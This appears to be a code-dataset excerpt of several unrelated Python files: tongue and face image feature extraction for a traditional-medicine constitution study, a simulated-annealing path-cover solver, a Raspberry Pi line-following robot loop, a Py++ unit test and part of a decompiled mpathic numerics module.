getColorRec(im_hsv): # 计算HSV空间中H和S通道的颜色距(均值,标准差,三阶矩)一共6个分量\r\n Whole_Color = []\r\n m = im_hsv.shape[0]\r\n n = im_hsv.shape[1]\r\n for i in range(2):\r\n t = im_hsv[:, :, i]\r\n mean = np.float64(np.mean(t))\r\n std = np.float64(np.std(t))\r\n three = np.sum((t - mean) ** 3)\r\n three /= m * n\r\n if three > 0:\r\n three = np.power(three, 1 / 3)\r\n else:\r\n three = -(np.power(-three, 1 / 3))\r\n three = np.float64(three)\r\n Whole_Color += [mean, std, three]\r\n return Whole_Color\r\n\r\n\r\n# 基于傅里叶变换的纹理能量提取\r\n# 采用长方环周向谱能量百分比法\r\n# 均匀的将图像功率谱分成M=20个等宽度的长方环,求出每一个长方环功率谱能量占总能量的百分比\r\n# 长方环内的功率谱能量可以反映出图像不同频率成分的能量强度\r\ndef get_power(F):\r\n m = F.shape[0]\r\n n = F.shape[1]\r\n M = 20\r\n central_x = m / 2 # 图像中心坐标值\r\n central_y = n / 2\r\n P = np.zeros([m, n], float)\r\n fh = np.zeros(20, float)\r\n P = F[...].real ** 2 + F[...].imag ** 2\r\n sum_P = np.sum(P)\r\n # for i in range (m):\r\n # for j in range (n):\r\n # real=F[i,j].real\r\n # imag=F[i,j].imag\r\n # P[i,j]=pow(F[i,j].real,2)+pow(F[i,j].imag,2)\r\n # sum_P=sum(sum(P))\r\n for i in range(m):\r\n for j in range(n):\r\n for k in range(20):\r\n if (m * k) / (2 * M) <= abs(i - central_x) < m * (k + 1) / (2 * M) and (n * k) / (2 * M) <= abs(\r\n j - central_y) < n * (k + 1) / (2 * M):\r\n fh[k] += P[i, j]\r\n for i in range(size(fh)):\r\n fh[i] /= sum_P\r\n return fh\r\n\r\n\r\n# 基于共生矩阵纹理特征提取,计算四个共生矩阵P,取距离为dist,灰度级为G_class(一般取8或者16)角度分别为0,45,90,135\r\n# 返回八维纹理特征行向量\r\ndef Gray_Texture(im, dist, G_class): # im为灰度图像\r\n T = np.zeros(8, float)\r\n im = img_as_ubyte(im)\r\n gcm = feature.greycomatrix(im, dist, [0, np.pi / 4, np.pi / 2, np.pi * 3 / 4], normed=True)\r\n T[0] = np.mean(feature.greycoprops(gcm, 'energy'))\r\n T[1] = np.std(feature.greycoprops(gcm, 'energy'))\r\n T[2] = np.mean(feature.greycoprops(gcm, 'contrast'))\r\n T[3] = np.std(feature.greycoprops(gcm, 'contrast'))\r\n T[4] = np.mean(feature.greycoprops(gcm, 'dissimilarity'))\r\n T[5] = np.std(feature.greycoprops(gcm, 'dissimilarity'))\r\n T[6] = np.mean(feature.greycoprops(gcm, 'correlation'))\r\n T[7] = np.std(feature.greycoprops(gcm, 'correlation'))\r\n return T\r\n # m=im.shape[0]\r\n # n=im.shape[1]\r\n # Gray=np.zeros([m,n],int)\r\n # #原始图像灰度级压缩,将Gray量化成16级\r\n # for i in range(m):\r\n # for j in range(n):\r\n # for k in range(G_class):\r\n # if k*G_class<=im[i,j]<=(k*G_class)+(G_class-1):\r\n # Gray[i,j]=k\r\n #\r\n # P=np.zeros([G_class,G_class,4],float)\r\n #\r\n # for i in range(m):\r\n # for j in range(n):\r\n # if j < n-dist:\r\n # P[Gray[i,j],Gray[i,j+dist],0]+=1\r\n # if i>=dist and j 0:\r\n # H[l] = H[l] - P[i, j, l] * math.log2(P[i, j, l]) # 熵\r\n # I[l] = pow((i - j), 2) * P[i, j, l] + I[l] # 惯性矩(二阶距)\r\n # Ux[l] = i * P[i, j, l] + Ux[l] # 相关性中的μx\r\n # Uy[l] = j * P[i, j, l] + Uy[l] # 相关性中的μy\r\n #\r\n # for l in range(4):\r\n # for i in range(G_class):\r\n # for j in range(G_class):\r\n # deltaX[l] += pow(i - Ux[l], 2) * P[i, j, l]\r\n # deltaY[l] += pow(j - Uy[l], 2) * P[i, j, l]\r\n # C[l] += i * j * P[i, j, l]\r\n #\r\n # C[l] = (C[l] - Ux[l] * Uy[l]) / deltaX[l] / deltaY[l] # 相关性\r\n # T[0] = np.mean(E)\r\n # T[1] = np.std(E)\r\n # T[2] = np.mean(H)\r\n # T[3] = np.std(H)\r\n # T[4] = np.mean(I)\r\n # T[5] = np.std(I)\r\n # T[6] = np.mean(C)\r\n # T[7] = np.std(C)\r\n # return T\r\n\r\n\r\ndef get_tongue_feature(path):\r\n part = 'small_tongue'\r\n # len=len(glob.glob(r\"C:\\offline\\体质辨识数据备份\\origin\\cutted_tongue\\*.jpg\"))#图像的总个数\r\n # 需要的图像的属性:36+6个颜色特征,38个纹理特征(20个傅里叶能量,10个LBP,8个灰度共生矩阵)\r\n try:\r\n f = open(path+'\\\\' + part + '_color_hist', 'rb')\r\n color_hist=pickle.load(f)\r\n except Exception:\r\n color_hist = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_color_rect', 'rb')\r\n color_rect=pickle.load(f)\r\n except Exception:\r\n color_rect={}\r\n try:\r\n f = open(path+'\\\\' + part + '_gray_texture', 'rb')\r\n gray_texture=pickle.load(f)\r\n except Exception:\r\n gray_texture = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_power', 'rb')\r\n power=pickle.load(f)\r\n except Exception:\r\n power = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_lbp', 'rb')\r\n lbp=pickle.load(f)\r\n except Exception:\r\n lbp = {}\r\n for q, f in enumerate(glob.glob(path+r\"\\cutted_tongue\\*.jpg\")):\r\n # 获得患者ID\r\n ID = os.path.split(f)[1].split('.')[0].split('_')[0]\r\n print(q, ID)\r\n if(ID in color_hist.keys()):\r\n continue\r\n # 计算特征\r\n img = io.imread(f)\r\n # 排除太小的图片\r\n if(img.shape[0]*img.shape[1]<20000):\r\n continue\r\n img = transform.resize(img, (128, 128))\r\n im_hsv = rgb2hsv(img_as_float(img)) # 将图像转到HSV色彩空间\r\n L = rank_hsv(im_hsv) # 量化HSV色彩空间\r\n H = Hist_hsv(L) # 求HSV全局直方图\r\n Whole_Color = getColorRec(im_hsv) # HSV通道H通道(色调)和S通道(饱和度)的颜色距\r\n img_gray = color.rgb2gray(img)\r\n f1 = np.fft.fft2(img_gray) # 二维离散傅里叶变换\r\n fshift = np.fft.fftshift(f1)\r\n fh = get_power(fshift) # 均匀的将图像功率谱分成M=20个等宽度的长方环,求出每一个长方环功率谱能量占总能量的百分比\r\n T = Gray_Texture(img_gray, [1], 16) # 灰度共生矩阵得到8维特征\r\n one_lbp = LBP(img)\r\n # 存储特征\r\n color_hist[ID]=H.tolist()\r\n color_rect[ID]=Whole_Color\r\n gray_texture[ID] =T.tolist()\r\n power[ID]=fh.tolist()\r\n lbp[ID]=one_lbp.tolist()\r\n # for i in range(36): #得到HSV的全局色彩直方图\r\n # dataMat[q,i]=H[i]\r\n # num=0\r\n # for i in range(36,42):\r\n # dataMat[q,i]=Whole_Color[num]\r\n # num+=1\r\n # num=0\r\n # for i in range(42,50):#得到灰度共生矩阵\r\n # dataMat[q,i]=T[num]\r\n # num+=1\r\n # num=0\r\n # for i in range(50,70):#得到傅里叶能量谱\r\n # dataMat[q,i]=fh[num]\r\n # num+=1\r\n # num=0\r\n # for i in range(70,80): #得到LBP算子\r\n # dataMat[q,i]=lbp[num]\r\n # num+=1\r\n # 保存特征\r\n f = open(path+'\\\\' + part + '_color_hist', 'wb')\r\n pickle.dump(color_hist, f)\r\n f = open(path+'\\\\' + part + '_color_rect', 'wb')\r\n pickle.dump(color_rect, f)\r\n f = open(path+'\\\\' + part + '_gray_texture', 'wb')\r\n pickle.dump(gray_texture, f)\r\n f = open(path+'\\\\' + part + '_power', 'wb')\r\n pickle.dump(power, f)\r\n f = open(path+'\\\\' + part + '_lbp', 'wb')\r\n pickle.dump(lbp, f)\r\n\r\n # np.save(r\"C:\\offline\\体质辨识数据备份\\origin\\tongue_feature\",dataMat)\r\n # np.save('labelMat1245_test.npy',labelMat)\r\n\r\n\r\ndef get_face_block_feature(path):\r\n part = 'face_block'\r\n # len=len(glob.glob(r\"C:\\offline\\体质辨识数据备份\\origin\\cutted_tongue\\*.jpg\"))#图像的总个数\r\n # 需要的图像的属性:36+6个颜色特征,38个纹理特征(20个傅里叶能量,10个LBP,8个灰度共生矩阵)\r\n try:\r\n f = open(path+'\\\\' + part + '_color_hist', 'rb')\r\n color_hist=pickle.load(f)\r\n except Exception:\r\n color_hist = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_color_rect', 'rb')\r\n color_rect=pickle.load(f)\r\n except Exception:\r\n color_rect={}\r\n try:\r\n f = open(path+'\\\\' + part + '_gray_texture', 'rb')\r\n gray_texture=pickle.load(f)\r\n except Exception:\r\n gray_texture = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_power', 'rb')\r\n power=pickle.load(f)\r\n except Exception:\r\n power = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_lbp', 'rb')\r\n lbp=pickle.load(f)\r\n except Exception:\r\n lbp = {}\r\n # 载入数据\r\n f = open(path+r\"\\face_landmark\", 'rb')\r\n landmarks = pickle.load(f)\r\n for q, (f, landmark) in enumerate(zip(glob.glob(path+r\"\\face\\*.jpg\"), landmarks)):\r\n # 获得患者ID\r\n ID = os.path.split(f)[1].split('.')[0].split('_')[0]\r\n print(q, ID)\r\n if(ID in color_hist.keys()):\r\n continue\r\n # 获得特征\r\n if landmark == None:\r\n continue\r\n else:\r\n img = io.imread(f)\r\n l_skin, r_skin = landmark['l_skin'], landmark['r_skin']\r\n l_skin[0], l_skin[2] = max(l_skin[0], 0), max(l_skin[2], 0)\r\n l_skin[1], l_skin[3] = min(l_skin[1], img.shape[0]), min(l_skin[3], img.shape[1])\r\n r_skin[0], r_skin[2] = max(r_skin[0], 0), max(r_skin[2], 0)\r\n r_skin[1], r_skin[3] = min(r_skin[1], img.shape[0]), min(r_skin[3], img.shape[1])\r\n # 皮肤块太小不进行提取\r\n if abs(l_skin[0] - l_skin[1]) * abs(l_skin[2] - l_skin[3]) < 400 or \\\r\n abs(r_skin[0] - r_skin[1]) * abs(r_skin[2] - r_skin[3]) < 400:\r\n continue\r\n else:\r\n # 计算左脸\r\n leftFace = img[l_skin[0]:l_skin[1], l_skin[2]:l_skin[3]].copy()\r\n leftFace = transform.resize(leftFace, (60, 60))\r\n l_hsv = rgb2hsv(img_as_float(leftFace)) # 将图像转到HSV色彩空间\r\n l_H = Hist_hsv(rank_hsv(l_hsv)) # 求HSV全局直方图\r\n l_Whole_Color = getColorRec(l_hsv) # HSV通道H通道(色调)和S通道(饱和度)的颜色距\r\n l_gray = color.rgb2gray(leftFace)\r\n l_fh = get_power(np.fft.fftshift(np.fft.fft2(l_gray))) # 均匀的将图像功率谱分成M=20个等宽度的长方环,求出每一个长方环功率谱能量占总能量的百分比\r\n l_T = Gray_Texture(l_gray, [1], 16) # 灰度共生矩阵得到8维特征\r\n l_lbp = LBP(leftFace)\r\n # 计算右脸\r\n rightFace = img[r_skin[0]:r_skin[1], r_skin[2]:r_skin[3]].copy()\r\n rightFace = transform.resize(rightFace, (60, 60))\r\n r_hsv = rgb2hsv(img_as_float(rightFace)) # 将图像转到HSV色彩空间\r\n r_H = Hist_hsv(rank_hsv(r_hsv)) # 求HSV全局直方图\r\n r_Whole_Color = getColorRec(r_hsv) # HSV通道H通道(色调)和S通道(饱和度)的颜色距\r\n r_gray = color.rgb2gray(rightFace)\r\n r_fh = get_power(np.fft.fftshift(np.fft.fft2(r_gray))) # 均匀的将图像功率谱分成M=20个等宽度的长方环,求出每一个长方环功率谱能量占总能量的百分比\r\n r_T = Gray_Texture(r_gray, [1], 16) # 灰度共生矩阵得到8维特征\r\n r_lbp = LBP(rightFace)\r\n # 整合特征\r\n H = (l_H + r_H) / 2\r\n Whole_Color = (np.array(l_Whole_Color) + np.array(r_Whole_Color)) / 2\r\n T = (l_T + r_T) / 2\r\n fh = (l_fh + r_fh) / 2\r\n one_lbp = (l_lbp + r_lbp)\r\n # 存储特征\r\n color_hist[ID] = H.tolist()\r\n color_rect[ID] = Whole_Color.tolist()\r\n gray_texture[ID] = T.tolist()\r\n power[ID] = fh.tolist()\r\n lbp[ID] = one_lbp.tolist()\r\n\r\n # 保存特征\r\n f = open(path+'\\\\' + part + '_color_hist', 'wb')\r\n pickle.dump(color_hist, f)\r\n f = open(path+'\\\\' + part + '_color_rect', 'wb')\r\n pickle.dump(color_rect, f)\r\n f = open(path+'\\\\' + part + '_gray_texture', 'wb')\r\n pickle.dump(gray_texture, f)\r\n f = open(path+'\\\\' + part + '_power', 'wb')\r\n pickle.dump(power, f)\r\n f = open(path+'\\\\' + part + '_lbp', 'wb')\r\n pickle.dump(lbp, f)\r\n\r\ndef get_face_feature(path):\r\n part = 'face'\r\n # len=len(glob.glob(r\"C:\\offline\\体质辨识数据备份\\origin\\cutted_tongue\\*.jpg\"))#图像的总个数\r\n # 需要的图像的属性:36+6个颜色特征,38个纹理特征(20个傅里叶能量,10个LBP,8个灰度共生矩阵)\r\n try:\r\n f = open(path+'\\\\' + part + '_color_hist', 'rb')\r\n color_hist=pickle.load(f)\r\n except Exception:\r\n color_hist = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_color_rect', 'rb')\r\n color_rect=pickle.load(f)\r\n except Exception:\r\n color_rect={}\r\n try:\r\n f = open(path+'\\\\' + part + '_gray_texture', 'rb')\r\n gray_texture=pickle.load(f)\r\n except Exception:\r\n gray_texture = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_power', 'rb')\r\n power=pickle.load(f)\r\n except Exception:\r\n power = {}\r\n try:\r\n f = open(path+'\\\\' + part + '_lbp', 'rb')\r\n lbp=pickle.load(f)\r\n except Exception:\r\n lbp = {}\r\n # 载入数据\r\n f = open(path+r\"\\face_landmark\", 'rb')\r\n landmarks = pickle.load(f)\r\n for q, (f, landmark) in enumerate(zip(glob.glob(path+r\"\\face\\*.jpg\"), landmarks)):\r\n # 获得患者ID\r\n ID = os.path.split(f)[1].split('.')[0].split('_')[0]\r\n print(q, ID)\r\n if(ID in color_hist.keys()):\r\n continue\r\n # 获得特征\r\n if landmark == None:\r\n continue\r\n else:\r\n img = io.imread(f)\r\n face = landmark['face']\r\n face[0], face[2] = max(face[0], 0), max(face[2], 0)\r\n face[1], face[3] = min(face[1], img.shape[0]), min(face[3], img.shape[1])\r\n # 脸部太小不进行提取\r\n if abs(face[0] - face[1]) * abs(face[2] - face[3]) < 100000:\r\n continue\r\n else:\r\n # print(q)\r\n img = img[face[0]:face[1], face[2]:face[3]].copy()\r\n img = transform.resize(img, (256, 256))\r\n im_hsv = rgb2hsv(img_as_float(img)) # 将图像转到HSV色彩空间\r\n L = rank_hsv(im_hsv) # 量化HSV色彩空间\r\n H = Hist_hsv(L) # 求HSV全局直方图\r\n Whole_Color = getColorRec(im_hsv) # HSV通道H通道(色调)和S通道(饱和度)的颜色距\r\n img_gray = color.rgb2gray(img)\r\n f1 = np.fft.fft2(img_gray) # 二维离散傅里叶变换\r\n fshift = np.fft.fftshift(f1)\r\n fh = get_power(fshift) # 均匀的将图像功率谱分成M=20个等宽度的长方环,求出每一个长方环功率谱能量占总能量的百分比\r\n T = Gray_Texture(img_gray, [1], 16) # 灰度共生矩阵得到8维特征\r\n one_lbp = LBP(img)\r\n # 存储特征\r\n color_hist[ID] = H.tolist()\r\n color_rect[ID] = Whole_Color\r\n gray_texture[ID] = T.tolist()\r\n power[ID] = fh.tolist()\r\n lbp[ID] = one_lbp.tolist()\r\n\r\n # 保存特征\r\n f = open(path+'\\\\' + part + '_color_hist', 'wb')\r\n pickle.dump(color_hist, f)\r\n f = open(path+'\\\\' + part + '_color_rect', 'wb')\r\n pickle.dump(color_rect, f)\r\n f = open(path+'\\\\' + part + '_gray_texture', 'wb')\r\n pickle.dump(gray_texture, f)\r\n f = open(path+'\\\\' + part + '_power', 'wb')\r\n pickle.dump(power, f)\r\n f = open(path+'\\\\' + part + '_lbp', 'wb')\r\n pickle.dump(lbp, f)\r\n\r\n\r\nif __name__ == '__main__':\r\n path = r\"B:\\DeskTop\\SRP中医体质辨识\\体质辨识数据备份\\origin\"\r\n # get_tongue_feature(path)\r\n # get_face_block_feature(path)\r\n get_face_feature(path)\r\n","sub_path":"feature_extract/New_Features.py","file_name":"New_Features.py","file_ext":"py","file_size_in_byte":20700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119566828","text":"import numpy as np\nfrom optimizn.combinatorial.anneal import SimAnnealProblem\nfrom graphing.special_graphs.neural_trigraph.rand_graph import *\n# from graphing.graph import Graph\n# from graphing.traversal.clr_traversal import Graph1\nfrom graphing.special_graphs.neural_trigraph.path_cover import\\\n complete_paths\nfrom graphing.special_graphs.neural_trigraph.neural_trigraph import\\\n NeuralTriGraph\nfrom graphing.special_graphs.neural_trigraph.path_cover import \\\n min_cover_trigraph\nfrom copy import deepcopy\n\n\n# For demonstration purposes.\n# We pick the min path cover problem \n# where we have an algorithm for computing\n# the optimal solution.\nclass MinPathCover_NTG(SimAnnealProblem):\n \"\"\"\n Finding the min path cover of a neural trigraph.\n \"\"\"\n def __init__(self, ntg, swtch=1):\n self.ntg = ntg\n self.params = ntg\n self.adj = ntg.g1.adj\n self.swtch = swtch\n self.name = \"MinPathCover_NeuralTriGraph\"\n super().__init__()\n\n def get_candidate(self):\n \"\"\"\n A candidate is going to be an array of\n arrays, where each array is a full path\n from the left-most layer of the graph\n to the right-most layer.\n \"\"\"\n paths = []\n self.covered = {}\n ixs = np.arange(1, self.ntg.max_ix+1)\n ixs = np.random.permutation(ixs)\n for i in ixs:\n if i not in self.covered:\n path = self.add_path(i)\n paths.append(path[0])\n self.candidate = paths\n return paths\n\n def next_candidate_v2(self, candidate, num_del_paths=1):\n self.candidate = deepcopy(candidate)\n paths = self.candidate\n covered = deepcopy(self.covered)\n del_paths = []\n for i in range(num_del_paths):\n ix = np.random.choice(range(len(paths)))\n del_paths.append(paths[ix])\n paths = np.delete(paths, ix, 0)\n for del_path in del_paths:\n for ixx in del_path:\n covered[ixx] -= 1\n if covered[ixx] == 0:\n path = complete_paths([[ixx]],\n self.ntg.left_edges,\n self.ntg.right_edges)\n path = path[0]\n for pa in path:\n covered[pa] += 1\n #breakpoint()\n paths = np.concatenate((paths, [path]))\n #breakpoint()\n return paths\n\n def next_candidate(self, candidate, num_del_paths=1):\n if self.swtch == 0:\n return self.get_candidate()\n else:\n return self.next_candidate_v2(candidate, num_del_paths)\n\n def add_path(self, i):\n path = complete_paths([[i]],\n self.ntg.left_edges, self.ntg.right_edges)\n for j in path[0]:\n if j in self.covered:\n self.covered[j] += 1\n else:\n self.covered[j] = 1\n # self.candidate.append(path)\n return path\n\n def cost(self, candidate):\n '''\n Gets the cost for candidate solution.\n '''\n return (len(candidate))\n\n def update_candidate(self, candidate, cost):\n # TODO: This can be made more efficient by updating existing covered\n # set.\n self.covered = {}\n for path in candidate:\n for j in path:\n if j in self.covered:\n self.covered[j] += 1\n else:\n self.covered[j] = 1\n super().update_candidate(candidate, cost)\n\n\n# Scipy simulated annealing can't be used because it expects a 1-d continuous\n# array\n# https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.optimize.anneal.html\n\ndef tst1(edges1=None, edges2=None, n_iter=20000, swtch=1):\n # edges1, edges2 = neur_trig_edges(8, 10, 14)\n if edges1 is None:\n edges1, edges2 = rep_graph(8, 10, 14, reps=4)\n opt_paths = min_cover_trigraph(edges1, edges2)\n print(\"Optimal solution: \" + str(len(opt_paths)))\n ntg = NeuralTriGraph(edges1, edges2)\n # print(ntg.g1.adj)\n mpc = MinPathCover_NTG(ntg, swtch=swtch)\n paths = mpc.get_candidate()\n # mpc.candidate = np.concatenate((mpc.candidate, mpc.candidate))\n print(\"Current solution: \" + str(len(mpc.candidate)))\n mpc.anneal(n_iter)\n print(\"Best solution: \" + str(mpc.best_cost))\n # Now, can we get the min path cover for this?\n return mpc\n\n\ndef tst2(n_iter=20000, swtch=1):\n edges1 = np.loadtxt('edges1.csv')\n edges1 = edges1.astype(int)\n edges2 = np.loadtxt('edges2.csv')\n edges2 = edges2.astype(int)\n return tst1(edges1, edges2, n_iter, swtch=swtch)\n","sub_path":"optimizn/combinatorial/tst_anneal/min_path_cover.py","file_name":"min_path_cover.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"452670035","text":"# Authors: Anthony Giraudo, Kari Hichma, Kilian Mac Donald, Louise Marinho\n# 15 mars 2018\n# main_loop.py\n\nimport RPi.GPIO as GPIO\nimport pygame\nfrom pygame.locals import *\npygame.init()\nfrom classes import *\n\n\nGPIO.setmode(GPIO.BOARD) # precise la convention de numerotation des broches a utiliser\n\n\n# parametres\n\ndistance_roues = 15 # en cm\nlargeur_chemin = 3 # en cm\ncoeff = 1\ngpio_capteur_centre = 11\ngpio_capteur_interieur_droit = 13\ngpio_capteur_interieur_gauche = 15\ngpio_capteur_exterieur_droit = 18\ngpio_capteur_exterieur_gauche = 35\ngpio_IN1 = 32\ngpio_IN2 = 36\ngpio_IN3 = 40\ngpio_IN4 = 37\ngpio_pwm_roue_droite = 16\ngpio_pwm_roue_gauche = 12\nvitesse_de_marche = 50 # en pourcentage de la vitesse maximale que peuvent atteindre les roues\ninverser_sens_moteur_droit = True\ninverser_sens_moteur_gauche = True\nchoix = \"tout droit\"\n\n\nrobot = Robot(gpio_capteur_centre, gpio_capteur_interieur_gauche, gpio_capteur_interieur_droit, gpio_capteur_exterieur_gauche, gpio_capteur_exterieur_droit, vitesse_de_marche, inverser_sens_moteur_droit, inverser_sens_moteur_gauche, coeff, gpio_pwm_roue_gauche, gpio_pwm_roue_droite, largeur_chemin, distance_roues, gpio_IN1, gpio_IN2, gpio_IN3, gpio_IN4)\n\n\n# actualise constamment l etat des capteurs\n\nGPIO.add_event_detect(gpio_capteur_centre, GPIO.RISING, callback=lambda x: robot.actualiser_etat_capteurs(), bouncetime=20)\nGPIO.add_event_detect(gpio_capteur_interieur_droit, GPIO.RISING, callback=lambda x: robot.actualiser_etat_capteurs(), bouncetime=20)\nGPIO.add_event_detect(gpio_capteur_interieur_gauche, GPIO.RISING, callback=lambda x: robot.actualiser_etat_capteurs(), bouncetime=20)\n\n\ncontinuer = True\n\nwhile continuer: # boucle principale\n\n for event in pygame.event.get(): # arreter le robot si la touche s est pressee\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_s:\n robot.stop()\n continuer = False\n\n if continuer:\n\n if robot.capteur_interieur_gauche.est_dans_le_noir() and not robot.capteur_interieur_droit.est_dans_le_noir():\n robot.tourner_gauche()\n\n elif robot.capteur_interieur_droit.est_dans_le_noir() and not robot.capteur_interieur_gauche.est_dans_le_noir():\n robot.tourner_droite()\n\n elif robot.capteur_interieur_gauche.est_dans_le_noir() and robot.capteur_exterieur_gauche.est_dans_le_noir() and\\\n robot.capteur_interieur_droit.est_dans_le_noir() and robot.capteur_exterieur_droit.est_dans_le_noir() and robot.capteur_centre.est_dans_le_noir():\n robot.stop()\n continuer = False\n\n elif robot.capteur_interieur_gauche.est_dans_le_noir() and robot.capteur_interieur_droit.est_dans_le_noir() and robot.capteur_centre.est_dans_le_noir():\n robot.gerer_intersection(choix)\n\n elif not robot.capteur_centre.est_dans_le_noir() and not robot.capteur_interieur_droit.est_dans_le_noir() and not robot.capteur_interieur_gauche.est_dans_le_noir():\n continuer = robot.demi_tour()\n\n else:\n robot.tout_droit()\n\nGPIO.cleanup() # reinitialise l etat des broches\npygame.quit()\n\n","sub_path":"main_loop_an_dernier.py","file_name":"main_loop_an_dernier.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"25386441","text":"# Copyright 2004-2008 Roman Yakovenko.\r\n# Distributed under the Boost Software License, Version 1.0. (See\r\n# accompanying file LICENSE_1_0.txt or copy at\r\n# http://www.boost.org/LICENSE_1_0.txt)\r\n\r\nimport os\r\nimport sys\r\nimport math\r\nimport unittest\r\nimport fundamental_tester_base\r\nfrom pygccxml import declarations\r\nfrom pyplusplus import function_transformers as ft\r\nfrom pyplusplus.module_builder import call_policies\r\n\r\nclass tester_t(fundamental_tester_base.fundamental_tester_base_t):\r\n EXTENSION_NAME = 'ft_inout_static_matrix'\r\n\r\n def __init__( self, *args ):\r\n fundamental_tester_base.fundamental_tester_base_t.__init__(\r\n self\r\n , tester_t.EXTENSION_NAME\r\n , *args )\r\n\r\n def customize( self, mb ):\r\n mb.global_ns.calldefs().create_with_signature = True\r\n \r\n sum_and_fill = mb.free_fun( 'sum_and_fill' )\r\n sum_and_fill.add_transformation( ft.inout_static_matrix('m', rows=2, columns=3) )\r\n \r\n #calculate = mb.mem_fun( 'calculate' )\r\n #calculate.add_transformation( ft.input_static_matrix('m', rows=3, columns=5) )\r\n \r\n def run_tests(self, module):\r\n \"\"\"Run the actual unit tests\"\"\"\r\n m = [ [1, 2, 3], [4,5,6] ]\r\n result = module.sum_and_fill( m, -1 )\r\n self.failUnless( 21 == result[0] )\r\n self.failUnless( [ [-1, -2, -3], [-4,-5,-6] ] == result[1])\r\n\r\ndef create_suite():\r\n suite = unittest.TestSuite()\r\n suite.addTest( unittest.makeSuite(tester_t))\r\n return suite\r\n\r\ndef run_suite():\r\n unittest.TextTestRunner(verbosity=2).run( create_suite() )\r\n\r\nif __name__ == \"__main__\":\r\n run_suite()\r\n","sub_path":"pyplusplus_dev/unittests/ft_inout_static_matrix_tester.py","file_name":"ft_inout_static_matrix_tester.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"138946420","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/tareen/Desktop/Desktop_Tests/MPathic3/mpathic/src/numerics.py\n# Compiled at: 2018-06-21 15:19:21\n# Size of source mod 2**32: 6807 bytes\nimport time\nfrom mpathic.src import simulate_library\nfrom setuptools import Extension\nfast = Extension('fast', ['fast.c'])\nfrom mpathic.src import qc\nfrom mpathic.src.profile_mut import ProfileMut\nfrom mpathic.src.simulate_library import SimulateLibrary\nimport numpy as np\nfrom scipy.sparse import csr, csr_matrix, lil_matrix\nfrom mpathic import SortSeqError\nimport pdb, sys\nfrom mpathic.src import fast\n\ndef nbytes(array):\n if isinstance(array, np.ndarray):\n return array.nbytes\n else:\n if isinstance(array, csr.csr_matrix):\n return array.data.nbytes + array.indptr.nbytes + array.indices.nbytes\n return sizeof(array)\n\n\ndef dataset2seqarray(dataset_df, modeltype):\n if modeltype == 'MAT':\n seqs2array = fast.seqs2array_for_matmodel\n else:\n if modeltype == 'NBR':\n seqs2array = fast.seqs2array_for_nbrmodel\n else:\n raise SortSeqError('Unknown model type: %s' % modeltype)\n seqcol = qc.get_cols_from_df(dataset_df, 'seqs')[0]\n seqtype = qc.colname_to_seqtype_dict[seqcol]\n seqlist = list(dataset_df[seqcol])\n seqarray = seqs2array(seqlist, seq_type=seqtype)\n return seqarray\n\n\ndef dataset2mutarray(dataset_df, modeltype, chunksize=1000, rowsforwtcalc=100):\n if modeltype == 'MAT':\n seqs2array = fast.seqs2array_for_matmodel\n else:\n if modeltype == 'NBR':\n seqs2array = fast.seqs2array_for_nbrmodel\n else:\n raise SortSeqError('Unknown model type: %s' % modeltype)\n seqcol = qc.get_cols_from_df(dataset_df, 'seqs')[0]\n seqtype = qc.colname_to_seqtype_dict[seqcol]\n wtcol = qc.seqtype_to_wtcolname_dict[seqtype]\n rowsforwtcalc = min(rowsforwtcalc, dataset_df.shape[0])\n dataset_head_df = dataset_df.head(rowsforwtcalc)\n mut_df = ProfileMut(dataset_df=dataset_head_df).mut_df\n wtseq = ''.join(list(mut_df[wtcol]))\n print(wtseq)\n wtrow = seqs2array([wtseq], seq_type=seqtype).ravel().astype(bool)\n numfeatures = len(wtrow)\n startrow = 0\n endrow = startrow + chunksize - 1\n numrows = dataset_df.shape[0]\n mutarray_lil = lil_matrix((numrows, numfeatures), dtype=int)\n matrix_filled = False\n while not matrix_filled:\n if startrow >= numrows:\n matrix_filled = True\n continue\n else:\n if endrow >= numrows:\n endrow = numrows - 1\n matrix_filled = True\n seqlist = list(dataset_df[seqcol][startrow:endrow + 1])\n seqarray = seqs2array(seqlist, seq_type=seqtype)\n tmp = seqarray.copy()\n tmp[:, wtrow] = 0\n mutarray_lil[startrow:endrow + 1, :] = tmp\n startrow = endrow + 1\n endrow = startrow + chunksize - 1\n\n mutarray_csr = mutarray_lil.tocsr()\n return (\n mutarray_csr, wtrow)\n\n\ndef dataset2mutarray_withwtseq(dataset_df, modeltype, wtseq, chunksize=1000):\n if modeltype == 'MAT':\n seqs2array = fast.seqs2array_for_matmodel\n else:\n if modeltype == 'NBR':\n seqs2array = fast.seqs2array_for_nbrmodel\n else:\n raise SortSeqError('Unknown model type: %s' % modeltype)\n seqcol = qc.get_cols_from_df(dataset_df, 'seqs')[0]\n seqtype = qc.colname_to_seqtype_dict[seqcol]\n wtcol = qc.seqtype_to_wtcolname_dict[seqtype]\n wtrow = seqs2array([wtseq], seq_type=seqtype).ravel().astype(bool)\n numfeatures = len(wtrow)\n startrow = 0\n endrow = startrow + chunksize - 1\n numrows = dataset_df.shape[0]\n mutarray_lil = lil_matrix((numrows, numfeatures), dtype=int)\n matrix_filled = False\n while not matrix_filled:\n if startrow >= numrows:\n matrix_filled = True\n continue\n else:\n if endrow >= numrows:\n endrow = numrows - 1\n matrix_filled = True\n seqlist = list(dataset_df[seqcol][startrow:endrow + 1])\n seqarray = seqs2array(seqlist, 